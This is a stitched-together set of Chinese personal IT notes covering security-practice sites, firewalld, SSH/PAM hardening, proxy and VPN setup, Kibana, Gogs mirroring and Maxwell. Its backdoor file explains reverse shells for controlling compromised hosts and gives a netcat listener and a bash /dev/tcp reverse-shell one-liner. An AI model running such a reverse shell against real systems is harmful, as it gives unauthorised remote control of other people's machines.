33 |
34 | 06. HackThis
35 |
36 | - defendtheweb.net
37 | - 教你如何破解、转储和涂改以及保护网站的黑客技巧,提供超过50种不同的难度水平。
38 |
39 | 07. Hack This Site
40 |
41 | - www.hackthelsslte.org
42 | - 一个合法和安全的测试黑客技能的网站,并包含黑客咨询、文章、论坛和教程,旨在帮助你学习黑客技术。
43 |
44 | 08. Hellbound Hackers
45 |
46 | - hbh.sh/home
47 | - 提供各种各样的安全实践方法和挑战,目的是教你如何识别攻击和代码的补丁建议。主题包括应用程序加密和破解,社工和rooting。
48 | - 社区有接近10万的注册成员,是最大的一个黑客社区之一。
49 |
50 | 09. McAfee HacMe Sites
51 |
52 | - https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html
53 | - 提供各类黑客及安全测试工具。
54 |
55 | 10. Mutillidae
56 |
57 | - sourceforge.net/projects/mutillidae
58 | - 是一个免费,开源的Web应用程序。提供专门被允许的安全测试和入侵的Web应用程序,其中包含了丰富的渗透测试项目,如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等。
59 |
60 | 11. OverTheWire
61 |
62 | - overthewire.org/wargames
63 | - 基于游戏的让你学习安全技术和概念的黑客网站。
64 |
65 | 12. Try2Hack
66 |
67 | - 最古老的黑客网站之一,提供多种安全挑战。
68 |
69 | 13. i春秋
70 |
71 | - ichunqiu.com/maim
72 | - 中国比较好的安全知识和线上学习平台,把复杂的操作系统、工具和网络环境完全的在网页进行重现。
73 |
74 | 14. XCFT_OJ
75 |
76 | - adworld.xctf.org.cn
77 | - 中国安全练习平台,汇集全世界CTF网络安全竞赛的真题题库。
78 | - 目前全球CFT社区唯一一个提供赛题重现复盘练习环境的站点资源。
79 |
80 | 15. HawkEye鹰眼系统
81 |
82 | - hackingglab.cn/index.php
83 | - 网络信息安全攻防学习平台。提供基础知识考查、漏洞实战演练、教程等资料。实战演练以Web题为主。
84 |
--------------------------------------------------------------------------------
/secure/linux/backdoor.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-06
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 后门
8 |
9 | - 参考\
10 | https://xz.aliyun.com/t/2549
11 |
12 | ### 反弹shell
13 |
14 | 1. 意义
15 | 1. 局域网内肉鸡无法被连接。
16 | 2. 肉鸡ip会动态改变,不能持续控制。
17 | 3. 防火墙等限制,肉鸡只能发送请求,不能接收请求。
18 | 4. 肉鸡网络环境未知,主动连接,省事。
19 | 2. 实现
20 |
21 | ```bash
22 | # 我方服务器执行
23 | nc -lvp 2333
24 | # 肉鸡上执行
25 | IP=127.0.0.1
26 | bash -i >& /dev/tcp/${IP}/2333 0>&1
27 | ```
28 |
--------------------------------------------------------------------------------
/secure/linux/firewalld.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-06
3 | ---
4 |
5 | [TOC]
6 |
7 | ## firewalld
8 |
9 | ### 概念
10 |
11 | - Redhat Enterprise Linux7已经默认使用firewalld作为防火墙
12 |
13 | - 被封装过的iptables
14 |
15 | - firewall划分不同的区域,不同的区域里可以指定不同的规则,不同的网卡可以指定使用不同的firewall区域,默认为public区域。
16 |
17 | - 服务
18 | systemctl status firewalld.service
19 |
20 | ### firewall-cmd
21 |
22 | - 参数
23 | --permanent 永久设置
24 | --runtime-to-permanent 将当前运行时的配置写入规则配置文件中,使当前内存中的规则为永久性配置。
25 |
26 | 1. 区域相关操作
27 | 默认情况下,默认区域是public
28 |
29 | ```bash
30 | firewall-cmd --get-default-zone # 查看默认区域
31 | firewall-cmd --set-default-zone=home # 配置默认区域
32 | firewall-cmd --get-active-zones #
33 | firewall-cmd --permanent --new-zone=${zone-name} # 创建一个区域
34 |
35 | ```
36 |
37 | 2. 查看防火墙规则
38 |
39 | ```bash
40 | # 查看防火墙规则(只显示/etc/firewalld/zones/public.xml中防火墙策略)
41 | firewall-cmd --list-all
42 |
43 | # 查看所有的防火墙策略(即显示/etc/firewalld/zones/下的所有策略)
44 | firewall-cmd --list-all-zones
45 |
46 | # 查询端口是否开放
47 | firewall-cmd --query-port=8080/tcp
48 | ```
49 |
50 | 3. 要想使配置的端口号生效,必须重新载入
51 | firewall-cmd --reload
52 |
53 | 4. 开放端口或服务 `最后记得重载配置才生效 firewall-cmd --reload`
54 |
55 | ```bash
56 | # 开放80端口 和 移除端口
57 | firewall-cmd --permanent --add-port=80/tcp
58 | firewall-cmd --permanent --remove-port=8080/tcp
59 | firewall-cmd --permanent --zone=public --add-port=80/tcp
60 |
61 | # 开放服务
62 | firewall-cmd --add-service=${service} # 添加服务
63 | firewall-cmd --remove-service=${service} # 移除服务
64 | ```
65 |
66 | 5. rich-rule
67 |
68 | ```bash
69 | # 允许指定ip访问指定端口
70 | port=22
71 | ip=127.0.0.1
72 | firewall-cmd --add-rich-rule="rule family=ipv4 source address=${ip} port protocol=tcp port=${port} accept"# 允许${ip}主机访问${port}端口
73 | # --remove-rich-rule 删除
74 | ```
75 |
76 | 6. 端口转发
77 | firewall-cmd --permanent --add-forward-port=port=80:proto=tcp:toport=8080:toaddr=134.175.167.56
78 |
79 | 7. 应急模式
80 |
81 | ```bash
82 | firewall-cmd --panic-on # 拒绝所有流量,远程连接会立即断开,只有本地能登陆
83 | firewall-cmd --panic-off # 取消应急模式,但需要重启firewalld后才可以远程ssh
84 | firewall-cmd --query-panic # 查看是否为应急模式
85 | ```
86 |
--------------------------------------------------------------------------------
/secure/linux/iptables.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/secure/linux/iptables.png
--------------------------------------------------------------------------------
/secure/linux/login.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-23
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 配置讲解
8 |
9 | ### /etc/sudoer
10 |
11 | - root ALL=(ALL) ALL
12 | - 第一个ALL 允许哪个终端、机器访问 sudo
13 | - 第二个ALL 允许sudo以哪个用户的身份执行命令
14 | - 第三个ALL 允许用户以root身份执行什么命令
15 |
16 | ### /etc/shadow
17 |
18 | - gary:$1$2Uu6yiEE$m4Pj3bKxVd9oLA74jj4F0/:18364:0:99999:7:::
19 | - 第一列 用户名
20 | - 第二列 被加密过的密码;‘ * ’或者是‘ ! ’表示这个用户无法进行登录操作。
21 | - 第三列 密码最近变更的时间;1970年1月1日作为1,每过一天加1;
22 | - 第四列 重设密码后多少天内密码不可再次被更动
23 | - 第八列 账户哪一天失效
24 |
25 | ### PAM(Pluggable Authentication Modules)
26 |
27 | - /etc/ssh/sshd_config 默认是开启状态“UsePAM yes”
28 |
29 | ```conf
30 | Port 22960 # 设置sshd监听端口
31 | LoginGraceTime 30
32 | MaxAuthTries 3 # 错误尝试的次数限制为 3 次,3 次之后拒绝登录尝试
33 | PermitRootLogin no # 禁止root登入
34 | ```
35 |
36 | - pam_tally2
37 |
38 | ```bash
39 | # 禁止/etc/ssh/denyuser文件内的用户通过ssh登录
40 | vim /etc/pam.d/sshd
41 | auth required pam_listfile.so item=user sense=deny file=/etc/ssh/denyuser onerr=succeed
42 |
43 | # 查看test用户登录的错误次数及详细信息
44 | pam_tally2 --user test
45 |
46 | # 清空test用户的错误登录次数,即手动解锁
47 | pam_tally2 --user test --reset
48 |
49 | # 通过tty登录的用户,输入密码错误超过三次则锁定1分钟,包含root用户且root用户锁定2分钟
50 | vim /etc/pam.d/login
51 | auth required pam_tally2.so deny=3 unlock_time=60 even_deny_root root_unlock_time=120
52 |
53 | ```
54 |
55 | ## First Machine
56 |
57 | 1. 创建用户
58 |
59 | ```bash
60 | username=gary
61 | useradd ${username}
62 | passwd ${username}
63 | ```
64 |
65 | 2. Centos普通用户免密sudo
66 |
67 | ```bash
68 | chmod u+w /etc/sudoers
69 | # 设置可以sudo但需要密码
70 | echo "${username} ALL=(ALL) ALL" >> /etc/sudoers
71 | # 免密sudo
72 | echo "${username} ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
73 | chmod u-w /etc/sudoers
74 | ```
75 |
76 | ```conf
77 | admin1 ALL=(root) NOPASSWD:ALL,!/usr/sbin/visudo,!/usr/bin/su,!/usr/bin/passwd root,!/usr/bin/vi,!/usr/bin/vim,!/usr/bin/nano,!/usr/bin/echo,!/usr/bin/mv,!/usr/bin/cp
78 | admin2 ALL=(root) /usr/bin/apt
79 |
80 | ```
81 |
82 | 3. 禁止root登入
83 |
84 | ```bash
85 | vim /etc/ssh/sshd_config
86 | ```
87 |
88 | ```conf
89 | Port 22960 # 设置sshd监听端口
90 | PermitRootLogin no # 禁止Root用户远程登入
91 | ```
92 |
93 | ```bash
94 | systemctl restart sshd
95 | ```
96 |
--------------------------------------------------------------------------------
/secure/proxy/openvpn.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-03-12
3 | ---
4 |
5 | [TOC]
6 |
7 | - Openvpn
8 | - 参考
9 | - 官方 https://openvpn.net/access-server-manual/deployment-overview/
10 | - https://www.wanhebin.com/openvpn/639.html
11 |
12 | ## 安装
13 |
14 | ```bash
15 | # Centos系统
16 | # 安装epel 仓库源
17 | wget http://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
18 |
19 | rpm -Uvh epel-release-6-8.noarch.rpm
20 |
21 | yum install easy-rsa openvpn
22 |
23 | echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
24 | ```
25 |
26 | ```bash
27 | # Ubuntu系统
28 | apt-get install openvpn
29 | ```
30 |
31 | ```bash
32 | # 客户端启动
33 | openvpn /etc/openvpn/client/client.ovpn
34 | openvpn --ca /etc/openvpn/client/ca.crt --config /etc/openvpn/client/client.ovpn --auth-user-pass /etc/openvpn/client/passwd --log-append /tmp/openvpn.log
35 | ```
36 |
37 | ## 使用openVPN自带的http-proxy作代理
38 |
39 | - OpenVPN本身可以使用http代理,也就是说,OpenVPN客户端不是直接和OpenVPN服务器连接,而是使用http代理进行连接。这个特性是OpenVPN的外围特性,不是其核心的,然而却能解决很多实际问题,它相当于隧道外面又套了一个隧道,不过这个外面的隧道并不是真实的隧道,因为它并没有封装,而仅仅是伪装了端口信息而已。
40 | - OpenVPN客户端 --> http代理服务器(squid) --> OpenVPN服务器
41 |
42 | ## Openvpn客户端配置
43 |
44 | - \*.ovpn
45 |
46 | ```conf
47 | client #指定当前VPN是客户端
48 | dev tun #使用tun隧道传输协议
49 | proto udp #使用udp协议传输数据
50 | remote ${IP} 1194 #openvpn服务器IP地址端口号
51 | resolv-retry infinite #断线自动重新连接,在网络不稳定的情况下非常有用
52 | nobind #不绑定本地特定的端口号
53 | verb 3 #指定日志文件的记录详细级别,可选0-9,等级越高日志内容越详细
54 | persist-key #通过keepalive检测超时后,重新启动VPN,不重新读取keys,保留第一次使用的keys
55 | persist-tun #检测超时后,重新启动VPN,一直保持tun是linkup的。否则网络会先linkdown然后再linkup
56 | #block-outside-dns # 阻止使用外部的DNS
57 | # 证书密钥
58 | ca ca.crt #指定CA证书的文件路径
59 | cert client.crt #指定当前客户端的证书文件路径
60 | key client.key #指定当前客户端的私钥文件路径
61 | # 代理设置
62 | route-nopull # 不添加路由,也就是不会有任何网络请求走 openvpn 代理
63 | route 192.168.2.0 255.255.255.0 vpn_gateway # 指定网络段才走 openvpn 代理
64 | route 172.121.0.0 255.255.0.0 net_gateway # 与 vpn_gateway 相反,它是指定哪些IP不走 openvpn 代理
65 | ```
66 |
--------------------------------------------------------------------------------
/secure/proxy/proxy.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-03-12
3 | ---
4 |
5 | [TOC]
6 |
7 | # 代理
8 |
9 | - 正向代理和透明代理的服务对象是客户端,反向代理代理的服务对象是服务端
10 |
11 | 1. 正向代理
12 | 1. 正向代理是部署在客户端侧的代理服务器,代表客户端向目标服务器发送请求,并将响应返回给客户端。
13 | 2. 透明代理
14 | 1. 透明代理部署在客户端侧,但客户端无需主动配置,网络设备(如路由器或网关)会自动将流量转发到代理服务器。
15 | 3. 反向代理
16 | 1. 反向代理是部署在服务端侧的代理服务器,接收客户端的请求后,将其转发给后端的目标服务器,并将响应返回给客户端。
17 |
--------------------------------------------------------------------------------
/secure/proxy/proxy_buy.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-03-12
3 | ---
4 |
5 | [TOC]
6 |
7 | # 商家
8 |
9 | ## v2ray商家 1
10 |
11 | - 下载客户端
12 | - windows https://www.opai.xin/v2rayN.rar
13 | - mac https://www.opai.xin/V2rayU.dmg
14 | - androud https://www.opai.xin/v2rayNG.html
15 | - 剩余流量查询 https://www.opai.xin/url/
16 |
17 | ## Clash商家 1
18 |
19 | - 商家 LIGHTZUOYOU
20 | - https://www.zuoyou.org.uk/
21 | - 备用地址 https://vip.jltdd.com/
22 | - mac: ClashX
23 |
24 | ## Clash商家 2
25 |
26 | - 商家 网站上直接付款 https://flower.yt/aff.php?aff=1690
27 | - https://huacloud.dev/
28 | - https://flower.yt/
29 | - mac: ClashX Pro
30 |
31 | ## Clash商家 3
32 |
33 | - https://cn3.nfcloud.pro/user
34 | - nfcloud.net
35 |
36 | ## 各个商家地址
37 |
38 | - https://9.234456.xyz/abc.html
39 | - https://www.duyaoss.com/
40 |
41 | # VPN
42 |
43 | - https://bitbucket.org/letsgogo/letsgogo_21/src/master/
44 |
--------------------------------------------------------------------------------
/secure/proxy/proxy_client.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-03-12
3 | ---
4 |
5 | [TOC]
6 |
7 | ### 环境变量方式
8 |
9 | ```conf
10 | # vi /etc/profile.d/proxy.conf
11 | # source /etc/profile.d/proxy.conf # 使配置文件立即生效
12 | #export all_proxy=http://10.0.0.51:8080 http://user:pass@10.0.0.10:8080 socks4://10.0.0.51:1080 socks5://192.168.1.1:1080
13 | #export ftp_proxy=
14 | export http_proxy=
15 | export https_proxy=
16 | export no_proxy='localhost,127.0.0.1'
17 |
18 | # 取消环境变量的设置
19 | #unset http_proxy
20 | #unset https_proxy
21 | #unset ftp_proxy
22 | #unset no_proxy
23 | ```
24 |
25 | ```bash
26 | # Ubuntu-apt 代理配置
27 | apt -o Acquire::http::proxy="http://192.168.1.2:3128/" update
28 |
29 | # 单独设置yum代理访问,如下文件的变量
30 | echo "proxy=http://127.0.0.1:8080/" >> /etc/yum.conf
31 | ```
32 |
33 | - 账号密码中有特殊符号,则需要转换
34 | - 参考 http://ascii.911cha.com/
35 | | @ | 0x40 |
36 | | ---- | ---- |
37 | | : | 0x3A |
38 | | ~ | 0x7E |
39 | | # | 0x23 |
40 | | $ | 0x24 |
41 | | % | 0x25 |
42 | | & | 0x26 |
43 |
44 | ### Proxy SwitchyOmega
45 |
46 | - Google游览器代理管理工具插件
47 |
48 | ### tsocks
49 |
50 | - 通过SOCKS4或SOCKS5代理提供透明的网络访问。
51 |
52 | ```bash
53 | apt install tsocks
54 | ```
55 |
56 | - vi /etc/tsocks.conf
57 |
58 | ```conf
59 | local = 192.168.1.0/255.255.255.0 #不使用socks代理的网络
60 | local = 127.0.0.0/255.0.0.0 #不使用socks代理的网络
61 | server = 127.0.0.1 #socks服务器的IP
62 | server_type = 5 #socks服务版本
63 | server_port = 1080 #socks服务使用的端口
64 | ```
65 |
66 | ```bash
67 | tsocks ${command}
68 | ```
69 |
70 | ### proxychains
71 |
72 | ```bash
73 | apt install proxychains4 -y
74 | PROXYCHAINS_SOCKS5=127.0.0.1:7890 proxychains ${command}
75 | PROXYCHAINS_SOCKS5_HOST=127.0.0.1 PROXYCHAINS_SOCKS5_PORT=4321 proxychains zsh
76 |
77 | ```
78 |
79 | - /etc/proxychains4.conf
80 |
81 | ### clash生态
82 |
83 | 1. 内核 https://github.com/MetaCubeX/mihomo
84 | 2. Clah(Windows/Linux) https://github.com/Dreamacro/clash 原开发者下架了
85 | 3. ClashX(Mac) https://github.com/yichengchen/clashX 原开发者下架了
86 | 4. ClashVerg(Windows/Mac) https://github.com/clash-verge-rev/clash-verge-rev
87 |
88 | ### 其它
89 |
90 | 1. Shadowrocket https://shadowsocks.org
91 | 2. V2ray https://v2ray.com
92 | 3. Surge
93 | 4. karing(IOS) https://github.com/KaringX/karing
94 |
--------------------------------------------------------------------------------
/secure/proxy/proxy_protocal.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-03-12
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 代理协议
8 |
9 | 01. VMess
10 | 02. VLESS
11 | 03. Trojan https://github.com/trojan-gfw/trojan
12 | 04. Shadowsocks (SS)
13 | 05. ShadowsocksR (SSR)
14 | 06. HTTP/2
15 | 07. gRPC
16 | 08. WireGuard
17 | 09. OpenVPN
18 | 10. Hysteria
19 | 11. TUIC
20 | 12. Socks5
21 |
--------------------------------------------------------------------------------
/secure/proxy/shadowsocks.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-03-12
3 | ---
4 |
5 | [TOC]
6 |
7 | ## shadowsocks
8 |
9 | - 参考
10 | - http://ivo-wang.github.io/2018/02/24/ss-redir/
11 |
--------------------------------------------------------------------------------
/secure/secure.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-04-07
3 | ---
4 |
5 | [TOC]
6 |
7 | # 知识大纲
8 |
9 | ## 基础
10 |
11 | 1. 计算机网络基础
12 | 1. 网络协议(TCP/IP、HTTP/HTTPS、DNS等)
13 | 2. 局域网与广域网
14 | 3. 网络拓扑结构
15 | 4. OSI七层模型
16 | 5. 防火墙、路由器、交换机、网关
17 | 2. 操作系统基础
18 | 1. Linux与Windows操作系统的基础
19 | 2. 系统权限、文件权限
20 | 3. 常见命令行工具(Linux:bash、Windows:PowerShell)
21 | 4. 系统日志与监控
22 | 3. 编程基础
23 | 1. Python、C、C++或Shell脚本(尤其是Python)
24 | 2. Web开发基础(HTML、JavaScript、CSS)
25 | 3. SQL基础
26 | 4. 网络安全基础
27 | 1. 信息安全的基本概念(机密性、完整性、可用性)
28 | 2. 常见的攻击类型(DDoS、MITM、Phishing、RAT等)
29 | 3. 防御机制(加密、认证、访问控制等)
30 |
31 | ## 进阶阶段
32 |
33 | 1. Web应用安全
34 | 1. OWASP Top 10(SQL注入、XSS、CSRF、文件上传漏洞等)
35 | 2. Web漏洞扫描与渗透测试
36 | 3. Web安全工具:Burp Suite、OWASP ZAP、Nikto等
37 | 4. 网站爬虫与数据泄露测试
38 | 2. 网络渗透测试
39 | 1. 信息收集(Whois查询、DNS查询、Google Hacking等)
40 | 2. 漏洞扫描与利用(Nmap、Nessus、OpenVAS等)
41 | 3. 远程漏洞利用(Metasploit)
42 | 4. 权限提升(Sudo、SUID等漏洞)
43 | 5. 后门植入与隐蔽技术
44 | 3. 无线网络安全
45 | 1. 无线网络协议(WEP、WPA、WPA2、WPA3)
46 | 2. 无线网络破解(空气嗅探、数据包注入等)
47 | 3. 常见工具(Aircrack-ng、Kismet、Reaver等)
48 | 4. 密码学基础
49 | 1. 对称加密与非对称加密(AES、RSA等)
50 | 2. 哈希算法与数字签名
51 | 3. SSL/TLS协议、HTTPS
52 | 4. 密码破解与暴力破解
53 |
54 | ## 高级阶段
55 |
56 | 1. 高级渗透测试
57 | 1. 社会工程学攻击(钓鱼、假冒、欺诈等)
58 | 2. 复杂的漏洞利用技巧(堆溢出、格式化字符串等)
59 | 3. 提权技术与横向移动
60 | 4. 持久化与清除痕迹
61 | 5. 反渗透与绕过防火墙
62 | 2. 红队与蓝队
63 | 1. 红队攻击模拟(模拟真实攻击、渗透测试)
64 | 2. 蓝队防守策略(IDS、IPS、防火墙规则)
65 | 3. 蓝队工具(Suricata、Snort、OSSEC等)
66 | 4. APT攻击与防御
67 | 5. 日志分析与入侵检测
68 | 3. 高级网络安全技术
69 | 1. 网络协议分析与逆向工程(Wireshark、Tcpdump)
70 | 2. 安全信息与事件管理(SIEM)
71 | 3. 网络攻击与防御技术(DDoS防御、流量分析等)
72 | 4. 零日漏洞利用与修补
73 | 4. 攻防对抗实战
74 | 1. Capture the Flag (CTF)比赛
75 | 2. 渗透测试报告撰写
76 | 3. 渗透测试工具的定制与开发
77 |
78 | # 名词
79 |
80 | - MFA (Multi-factor authentication)多因子认证
81 | - OTP (One-time Password)一次性密码
82 |
--------------------------------------------------------------------------------
/secure/secure_tool.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-10-20
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 网站
8 |
9 | - httrack网站克隆工具 http://httrack.kauler.com/help/Form-based_authentication
10 | - 端口扫描等网络服务 https://www.whatismyip.com/port-scanner/
11 |
12 | ## winbox
13 |
14 | - https://www.winbox.org/download/mac
15 | - mac 版本 https://github.com/nrlquaker/winbox-mac
16 | - Winbox是一个小型实用程序,允许使用快速简单的GUI管理 MikroTik RouterOS。
17 | - 中文简单教程 http://www.irouteros.com/?p=730
18 |
19 | ## 信息收集
20 |
21 | 1. IP 信息查询 https://ipcheck.ing/
22 |
--------------------------------------------------------------------------------
/software/ELK/ELK.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | k8s容器daemonset模式Filebeat -> Kafka -> Logstash -> Elasticsearch -> Kibana
8 |
9 | Kafka 依赖 Zookeeper
10 |
--------------------------------------------------------------------------------
/software/ELK/kafka.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/software/ELK/kafka.jpg
--------------------------------------------------------------------------------
/software/ELK/kibana.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 概览
8 |
9 | - 文档
10 | - https://www.elastic.co/guide/cn/kibana/current/index.html 官网中文文档-用户手册
11 | - https://www.elastic.co/cn/webinars/getting-started-kibana?baymax=default&elektra=docs&storm=top-video 官网学习视频
12 |
13 | ## 安装
14 |
15 | - 参考
16 |
17 | - https://www.elastic.co/cn/downloads/past-releases
18 |
19 | - 需要和elasticsearch版本对应
20 |
21 | ### 裸安装
22 |
23 | - 安装
24 |
25 | ```bash
26 | # 1.
27 | wget https://artifacts.elastic.co/downloads/kibana/kibana-7.9.3-linux-x86_64.tar.gz
28 | # 2. 更改配置 vim kibana.yml
29 | server.host: "0.0.0.0"
30 | # 3. 启动
31 | nohup ./bin/kibana > kibana.log 2>&1 &
32 | # 默认端口 5601
33 | ```
34 |
35 | - 健康状态查看
36 |
37 | ```bash
38 | curl 127.0.0.1:5601/api/status
39 | # 127.0.0.1:5601/status
40 |
41 | # http://erpkibana.abcrender.com/api/ui_metric/report (POST请求)
42 | ```
43 |
44 | ### 配置
45 |
46 | ```conf
47 | server.host: "0.0.0.0" # 默认为localhost
48 | elasticsearch.hosts: ["http://localhost:9200"] # 默认为localhost
49 | ```
50 |
51 | ## 告警插件
52 |
53 | - 参考
54 |
55 | - https://github.com/opendistro-for-elasticsearch/alerting
56 | - https://opendistro.github.io/for-elasticsearch-docs/docs/alerting/
57 |
58 | - Alerting
59 |
60 | - 一款开源的kibana告警插件
61 | - 官方的kibana告警插件是收费的
62 |
63 | ```Dockerfile
64 | FROM docker.elastic.co/kibana/kibana:7.6.1
65 |
66 | RUN /opt/kibana/bin/kibana-plugin install https://github.com/opendistro-for-elasticsearch/alerting-kibana-plugin/releases/download/v1.12.0.2/opendistro_alerting_kibana.zip
67 | ```
68 |
69 | ## 使用
70 |
71 | ### 查询语法
72 |
73 | - 可以实现三种搜索
74 | 1. DSL 搜索
75 | 2. KQL 搜索
76 | 3. Lucene 搜索
77 | - 在这三种搜索方法中,DSL 以及 Lucene 搜索可以支持模糊查询 (fuzziness) 以及 通配符查询 (Regex)。KQL 是 Search Bar 的默认搜索方式,但是它不支持模糊查询。
78 |
79 | #### KQL
80 |
81 | 1. 按字段搜索
82 |
83 | - 字段: 值 AND 字段: 值
84 | - source: /data/logs/project-a/\* AND message: user.login.ERROR
85 |
86 | 2. 字段本身是否存在
87 |
88 | - 返回结果中需要有http字段
89 | - _exists_:http
90 | - 不能含有http字段
91 | - _missing_:http
92 |
93 | 3. 分组查询
94 |
95 | - (message: user.login.ERROR OR apache) AND source: /data/logs/project-a/\*
96 |
97 | 4. 按数值搜索
98 |
99 | - nginx.access.request_time:>3
100 |
101 | ### Dev Tool
102 |
103 | ```
104 | GET _settings
105 | ```
106 |
107 | ## 常见错误
108 |
109 | 1. 1
110 |
111 | ```log
112 | {"statusCode":413,"error":"Request Entity Too Large","message":"Payload content length greater than maximum allowed: 1048576"}
113 | ```
114 |
115 | 更改kibana配置 config/kibana.yml
116 | server.maxPayloadBytes: 10485760
117 |
118 | 2. kibana中已存在的字段在avaliable中类型显示问号,无法在visualize中使用
119 | 1. 找到 Kibana 的 Index_patterns(索引模式)
120 | 2. 找到 索引名称
121 | 3. 刷新字段列表
122 |
--------------------------------------------------------------------------------
/software/Git/git-merge.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/software/Git/git-merge.jpg
--------------------------------------------------------------------------------
/software/Git/git-service.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-08-18
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 相关链接
8 |
9 | - Github https://github.com/gogs/gogs
10 | - 安装教程 https://gogs.io/docs/installation
11 |
12 | ## 安装Git服务Gogs
13 |
14 | ```bash
15 | # 安装Postgresql数据库,下载二进制包
16 | ./gogs web --port 3000 # 默认端口为3000
17 | ```
18 |
19 | ```conf
20 | [server]
21 | START_SSH_SERVER = true # 开启ssh访问方式
22 | SSH_PORT = 2222 # ssh监听的端口
23 | [service]
24 | DISABLE_REGISTRATION = true # 禁止用户自己注册账户
25 | ```
26 |
27 | ### 报错
28 |
29 | 1. 报错一
30 | ```log
31 | error: RPC failed; HTTP 413 curl 22 The requested URL returned error: 413
32 | send-pack: unexpected disconnect while reading sideband packet
33 | fatal: the remote end hung up unexpectedly
34 | ```
35 | - nginx反向代理client_max_body_size配置导致的 http://nginx.or
36 | - g/en/docs/http/ngx_http_core_module.html#client_max_body_size
37 |
38 | ## 同步仓库
39 |
40 | ```bash
41 | git clone --bare 源git仓库地址
42 | cd project.git/
43 | git push --mirror 目标git仓库地址
44 |
45 | # 更新
46 | git fetch
47 | git remote update --prune origin
48 | git push --mirror 目标git仓库地址 # 通过http方式
49 | git push --mirror ssh://git@gogs.garys.top:2222/AleoHQ/snarkOS.git # 通过ssh方式
50 | ```
51 |
52 | ## 同步仓库(未使用)
53 |
54 | ```bash
55 | # 同步仓库
56 |
57 | repo_origin_url=https://github.com/AleoHQ/snarkVM
58 | # 使用--mirror会将所有分支内容都拉下来
59 | git clone --mirror ${repo_origin_url}
60 |
61 | # 将远端已经删除的分支在本地清理掉
62 | git remote update --prune origin
63 |
64 |
65 | repo_target_url=http://gogs.garys.top/AleoHQ/snarkVM
66 | # 同步所有分支
67 | git push -f --prune --all ${repo_target_url}
68 | # 同步tag
69 | git tag --sort==-createordate | head -n2000 | git push -f ${repo_target_url}
70 | ```
71 |
--------------------------------------------------------------------------------
/software/Git/git-status.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/software/Git/git-status.png
--------------------------------------------------------------------------------
/software/ceph/ceph-layer.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/software/ceph/ceph-layer.png
--------------------------------------------------------------------------------
/software/db/database.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-12-26
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Badger
8 |
9 | 1. 是一个高效的、嵌入式的键值数据库,使用 Go 编程语言开发,广泛应用于需要快速读写性能和高效存储的场景。它由 Dgraph 团队开发,并以 Apache 2.0 开源许可提供。
10 | 2. 高性能: 使用 LSM-tree 和日志结构合并技术,适合写多读少的工作负载。
11 | 3. 场景: 被许多区块链项目用作存储层,例如 Ethereum 客户端和 Filecoin。
12 |
--------------------------------------------------------------------------------
/software/db/maxwell.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-06-09
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 安装
8 |
9 | 1. 数据库启用binlog
10 |
11 | 2. 数据库配置maxwell用户和数据库
12 |
13 | ```sql
14 | create database maxwell;
15 | create user 'maxwell'@'%' identified BY 'maxwell';
16 | grant all on maxwell.* TO 'maxwell'@'%';
17 | grant select, replication client, replication slave on *.* to 'maxwell'@'%';
18 | ```
19 |
20 | 3. 安装maxwell-1.33
21 |
22 | - java-11
23 | - https://github.com/zendesk/maxwell/releases/download/v1.33.1/maxwell-1.33.1.tar.gz
24 |
25 | 4. 启动maxwell
26 |
27 | ```bash
28 | ./bin/maxwell --user='maxwell' --password='password' --port=3306 --host='localhost' --producer=stdout
29 |
30 |
31 | ./bin/maxwell --user='maxwell' --password='password' --port=3306 --host='mysql_host' --producer=kafka --kafka.bootstrap.servers=${kafka_host_1}:9092,${kafka_host_2}:9092 --kafka_topic=${topic_name} --filter='exclude: *.*, include: db1.table1, include: db2.table1'
32 | # --producer=kafka
33 | # --producer=stdout
34 | # --producer=file
35 | # --producer=redis
36 | # --producer=rabbitmq
37 |
38 | # --log_level=debug # [debug | info | warn | error]
39 |
40 | # --config 指定配置文件
41 |
42 | # --init_position
43 | # 手动指定maxwell要从哪个binlog,哪个位置开始。默认从最新的binlog文件开始。指定的格式FILE:POSITION:HEARTBEAT。只支持在启动maxwell的命令指定,比如 --init_postion=mysql-bin.0000456:4:0
44 |
